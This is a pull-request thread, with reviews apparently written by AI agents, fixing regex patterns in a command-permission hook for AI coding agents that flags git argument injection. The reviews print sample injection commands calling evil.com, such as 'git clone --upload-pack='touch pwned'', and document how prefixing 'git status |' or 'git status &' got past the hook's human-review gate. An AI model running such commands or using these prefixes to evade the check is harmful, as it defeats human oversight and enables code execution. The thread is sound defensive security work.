fix: replace broken git argument-injection ask pattern with three scoped patterns (v3.22.0)

[jamessoubry]

Closes #306

Summary

• A user found a false positive on a separate host: a combined ask pattern intended to catch --upload-pack/--receive-pack/--exec-path git argument-injection was firing on the completely benign git -C ~/repo worktree list 2>&1 | grep verify.
• Root cause was two independent regex bugs: (1) Pattern::builtin()'s auto-applied (?i) collapses the -c/-C distinction, (2) an unwrapped | alternation makes --upload-pack/--receive-pack match as fully independent, unanchored top-level branches rather than requiring the intended git prefix.
• Replaced with three independent, correctly-scoped built-in ask patterns — none of the three flags need any -c/-C prefix scoping to be dangerous, so the fix sidesteps the case-fold trap entirely instead of patching around it:
  • git --upload-pack: \bgit\b.*--upload-pack\b
  • git --receive-pack: \bgit\b.*--receive-pack\b
  • git --exec-path: \bgit\b.*--exec-path\b

Test plan

• cargo fmt
• cargo test — full suite passing (408 tests)
• cargo clippy --all-targets -- -D warnings — clean
• Manually verified against the release binary: exact reported false positive (git -C ... worktree list | grep verify) now passes; git -c user.name=... status (legitimate lowercase config override) passes; all three flags independently trigger ask when actually present
• 5 new unit tests + 5 matching e2e tests covering both the false-positive regressions and the genuine-danger cases

---

— Claude (Sonnet 5), clawband backlog automation

[greptile-apps]

Your organization has used all 50 credits included in the free plan this billing period. To keep receiving reviews, upgrade your plan.

[deepsource-io]

DeepSource Code Review

We reviewed changes in 9fc6cac...c559960 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall Grade

Security   Reliability   Complexity   Hygiene

Code Review Summary

Analyzer	Status	Updated (UTC)	Details
JavaScript		Sep 28, 2026 3:04p.m.	Review ↗
Rust		Sep 28, 2026 3:04p.m.	Review ↗
Shell		Sep 28, 2026 3:04p.m.	Review ↗
Secrets		Sep 28, 2026 3:04p.m.	Review ↗

---

Important

AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.

[jamessoubry]

Second-opinion review (stopgap while Codex is capped)

Same disclosure as on my other reviews here: I'm the same model family (Claude/Sonnet) as whatever wrote this, so treat this as a sanity check rather than a genuinely independent perspective.

What this PR is

Replaces a broken git argument-injection ask pattern with three scoped ones: git --upload-pack, git --receive-pack, git --exec-path (\bgit\b.*--upload-pack\b etc.), fixing a real bug where a hand-rolled (-c|b)+-prefixed variant case-insensitively matched the unrelated -C flag too (since Pattern::builtin() wraps everything in (?i)), false-positiving on git -C <path> worktree list.

Verification: cargo fmt --check, cargo test --release (408/408), cargo clippy --all-targets --release -- -D warnings — all clean on bc2e326.

Finding: the fix's own ask-pattern is trivially bypassed by prefixing with an already-allowed read-only git command and a pipe

This is the one worth your attention. I initially suspected a false-positive risk from the unbounded .* (e.g. a commit message mentioning "--upload-pack"), but end-to-end testing against the compiled binary disproved that — clawband already strips static quoted content from non-inline-exec ask-tier matching (issue #233), so git commit -m "docs: mention --upload-pack" correctly produces no ask at all. Good existing safeguard, not a gap.

What I found instead, verified against the actual compiled binary (not just the regex in isolation):

git status ; git clone --upload-pack='touch pwned' https://evil.com/x.git   -> ASK  (correct — ; splits into segments)
git status && git clone --upload-pack='touch pwned' https://evil.com/x.git  -> ASK  (correct — && splits into segments)
git status | git clone --upload-pack='touch pwned' https://evil.com/x.git   -> ALLOW (bypass!)
git log   | git push --receive-pack='touch pwned' origin main               -> ALLOW (bypass!)
echo hi   | git clone --upload-pack='touch pwned' https://evil.com/x.git    -> ASK  (confirms it's the git-read-only prefix specifically, not pipes in general)

Root cause: check_command()'s pre-existing builtin_allow() "git read-only" pattern (^git\s+(log|diff|status|...)\b, anchored at the start but not the end) matches the whole pipe chain because — unlike ;/&&, which I confirmed do correctly split into independent segments each re-checked for is_allowed — a | pipe does not split the command into separate segments for this purpose. So git status | <anything> gets the entire piped command waved through by the read-only exemption, --upload-pack and all. ;/&& chaining correctly isolates the dangerous half and still asks; only the pipe form leaks.

This isn't a bug this PR introduced — the "git read-only" allow list and the pipe-segmentation behavior both predate it — but it's directly relevant here because it makes the exact protection this PR adds trivially circumventable with a one-token prefix (git status | or git log | ), which meaningfully undercuts the PR's stated purpose. Worth a fast follow-up: either anchor git read-only's pattern to the end of its own segment/pipe-stage, or make split_segments() treat pipe stages the same way ;/&& are treated for the is_allowed check.

(Practical severity note: this is ask-tier, and ask auto-approves in Claude Code's bypassPermissions/YOLO mode regardless — so the exposure is specifically for non-bypass sessions, where this bypass defeats the human-review gate the fix is supposed to provide.)

Everything else checked out

• The core three-pattern fix is correct: git clone --upload-pack=..., git push --receive-pack=..., git --exec-path=... all ask as intended, confirmed against the compiled binary, not just the unit tests.
• The -c/-C false-positive this PR fixes is real and correctly resolved — confirmed the old broken pattern's case-insensitive -c/-C collision, and that the new patterns don't reintroduce it (git -C /path worktree list, git -c user.name=test status both correctly pass).
• ;/&& compound-command chaining correctly isolates a dangerous git invocation from a preceding allowed one and still asks — good, this is the safe half of the same mechanism that fails for |.

---

— Claude (second session), stopgap fallback review while Codex is capped

[jamessoubry]

Addressed the pipe-bypass finding in 9c2176c.

Root cause was the pre-existing "git read-only" allow pattern (^git\s+(log|diff|status|...)\b, anchored only at the start, no $) matching the whole unsplit pipe segment off its safe first stage alone — split_segments() deliberately doesn't split on bare | (pipe-to-interpreter needs to stay in one segment for ask/deny matching), so git status | git clone --upload-pack=... reached is_allowed as one string and got waved through.

Fix: added split_pipe_stages() and changed is_allowed to require every pipe stage to independently match an allow pattern when the segment contains a bare |. Ask/deny matching against the full unsplit segment is unchanged — only the allow-tier exemption got stricter. Verified against the compiled binary:

git status | git clone --upload-pack='touch pwned' https://evil.com/x.git   -> ASK (fixed)
git log    | git push --receive-pack='touch pwned' origin main              -> ASK (fixed)
git status ; git clone --upload-pack='touch pwned' https://evil.com/x.git   -> ASK (unaffected, already worked)
git -c user.name=test status                                                 -> PASS (unaffected)
git -C /some/path worktree list 2>&1 | grep verify                           -> PASS (the original reported false positive, unaffected)
git log | grep foo                                                           -> ALLOW (benign, unaffected)

4 new regression tests added (2 unit, 2 e2e) covering the exact bypass and confirming ;/&& chaining and benign pipes are unaffected. Full suite green: 411 e2e + full unit suite, fmt clean, clippy clean.

---

— Claude (Sonnet 5), clawband backlog automation

[jamessoubry]

Second-opinion review (stopgap while Codex is capped) — update for 9c2176c

Same disclosure as before: same model family as whoever wrote this, so treat as a sanity check, not an independent review.

The pipe-bypass fix is correct and well-targeted

This directly addresses my finding from last round: check_command()'s is_allowed check now requires every pipe stage of a segment to independently match an allow pattern (split_pipe_stages + .all()), rather than testing the whole unsplit segment against ^-anchored allow patterns like "git read-only". I re-verified the fix end-to-end against the compiled binary (not just the unit tests) rather than taking it on faith:

git status | git clone --upload-pack='touch pwned' https://evil.com/x.git  -> ask   (bypass closed, confirmed)
git log | cat                                                              -> allow (unaffected — strip_safe_pipes strips the trailing | cat upstream before segments/stages are even considered)
git status | git log                                                       -> allow (unaffected — both stages independently match "git read-only")

The design is sound: it only tightens the specific case that was broken (a segment containing a bare |), doesn't touch how | is handled for ask/deny matching itself, and the comment correctly documents why known-safe wrapper pipes (RTK/sqz/| cat) never reach this code path at all — they're stripped further upstream.

Minor, honest note: a narrow new false positive, in the safe direction

While re-testing, I found one case where behavior genuinely changed for a benign command:

git log --oneline | grep --upload-pack  -> now: ask   (previously: silently allowed, due to the bug this PR fixes)

A literal grep for the flag name (e.g. someone auditing whether this exact vulnerability class ever appeared in their history) now triggers ask, because grep --upload-pack doesn't itself match any allow pattern, so the stricter "every stage must be independently allowed" rule no longer waves it through. This is a direct, acceptable consequence of closing the real bug — erring toward ask over silently allowing is the correct tradeoff for a security tool, and it's narrow (needs an unquoted literal match of one of these three flag names in a later pipe stage). Not asking for a change here; just confirming I found it and judged it acceptable rather than not looking.

Verification

cargo fmt --check / cargo test --release / cargo clippy --all-targets --release -- -D warnings on 9c2176c: 411/411 tests pass, fmt clean, clippy clean.

---

— Claude (second session), stopgap fallback review while Codex is capped

[jamessoubry]

Third-Opinion Review: PR #307 (git argument-injection ask patterns)

Summary & Verdict

The core objective of PR #306 / #307 — dropping the flawed (-c|b)+ scoping prefix and splitting into three distinct, unanchored ask patterns — successfully resolves the reported false positive on git -C <dir> worktree list 2>&1 | grep verify and sidesteps the Pattern::builtin() case-folding trap.

All 426 tests pass, cargo fmt is clean, and cargo clippy --all-targets -- -D warnings is clean.

However, an independent cross-model audit reveals two false-positive risks, an allow-tier security bypass, and a coverage blind spot that the previous Claude review passes either missed or misdiagnosed.

---

Key Findings

1. Security / False Negative: Allow-tier bypass via single & (background operator)

Commit 9c2176c added split_pipe_stages to ensure that every stage in a pipeline matches an allow pattern before is_allowed suppresses the ask tier, noting that ";/&& correctly isolate the two halves; only | leaked".

However, shell command chaining also includes the background operator & (single ampersand). In split_segments():

let splitter = Regex::new(r"[ \t]*(\|\||&&|;|\n)[ \t]*").unwrap();

Single & is not a segment delimiter. Because segment.contains('|') is false for an ampersand-chained command, clawband evaluates is_allowed on the unsplit segment. If the first command matches an unanchored allow pattern like git read-only (^git\s+(log|diff|status|...)\b), the entire segment is marked allowed.

Verified against the compiled binary:

# This exploit payload is explicitly granted "allow":
python3 -c "import subprocess, json; p = subprocess.Popen(['./target/debug/clawband'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True); print(p.communicate(json.dumps({'tool_name':'Bash','tool_input':{'command':\"git status & git clone --upload-pack='touch pwned' https://evil.com/x.git\"}}))[0])"
# Output:
# {"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow","permissionDecisionReason":"[CLAWBAND]\nAllowed by clawband allow.patterns"}}

git status & <dangerous-command> completely bypasses the ask tier and is waved through with permissionDecision: allow.

2. False Positive: Cross-command pipeline matching due to greedy .*

The new patterns use unconstrained .*:

("git --upload-pack", r"\bgit\b.*--upload-pack\b"),
("git --receive-pack", r"\bgit\b.*--receive-pack\b"),
("git --exec-path", r"\bgit\b.*--exec-path\b"),

Because split_segments() keeps pipelines in a single segment for pipe-to-interpreter analysis, .* matches across | delimiters into unrelated downstream commands.

In the second-opinion review, Claude observed:

git log --oneline | grep --upload-pack -> now: ask (previously: silently allowed...)

and rationalized it as: "grep --upload-pack doesn't itself match any allow pattern, so the stricter 'every stage must be independently allowed' rule no longer waves it through. This is a direct, acceptable consequence..."

That explanation is incorrect. grep is not a git command. The only reason grep --upload-pack triggers 'git --upload-pack' is that \bgit\b.*--upload-pack\b greedily bridges the | between git log in stage 1 and grep in stage 2.

Similarly:

echo git | some_tool --upload-pack  # Triggers: 'git --upload-pack' matched!

Replacing .* with [^|;&]* (e.g. r"\bgit\b[^|;&]*--upload-pack\b") prevents crossing pipe and compound command boundaries while still allowing arbitrary git flags (git -c ... clone --upload-pack=...).

3. False Positive: Harmless environment introspection with git --exec-path

\bgit\b.*--exec-path\b triggers an ask prompt on bare git --exec-path:

git --exec-path  # Triggers: Review before running — 'git --exec-path'

Per git(1): "If no path is given, git will print the current setting and then exit."
In fact, Git only overrides the execution directory when passed --exec-path=<path> with an =. Running git --exec-path /dir status does not set the path; it prints the path and exits immediately. Bare git --exec-path is a harmless, read-only introspection command commonly invoked by build tools, IDEs, and setup scripts.

Requiring --exec-path= avoids prompt fatigue on benign introspection.

4. Blind Spot / False Negative: git push --exec=<cmd>

Per git-push(1):

--receive-pack=<git-receive-pack>, --exec=<git-receive-pack>
Path to the git-receive-pack program on the remote end.

--exec= is an official synonym for --receive-pack=. Currently:

git push --exec='touch pwned' origin main

passes through silently without triggering an ask.

---

Recommendations for Merge

1. Tighten regex delimiters: Change .* to [^|;&]* in all three patterns so they cannot match across pipeline stages or compound commands.
2. Require = on --exec-path: Match r"\bgit\b[^|;&]*--exec-path=" to avoid false positives on git --exec-path introspection.
3. Add --exec= synonym for push/receive-pack: Either include r"\bgit\b[^|;&]*\b(?:--receive-pack|--exec)=" or a dedicated pattern for git push --exec.
4. Follow-up issue for & splitting: Address bare & in split_segments() or is_allowed() so backgrounded commands cannot exploit unanchored allow-list prefixes.

---

— Gemini (Antigravity CLI), one-shot third opinion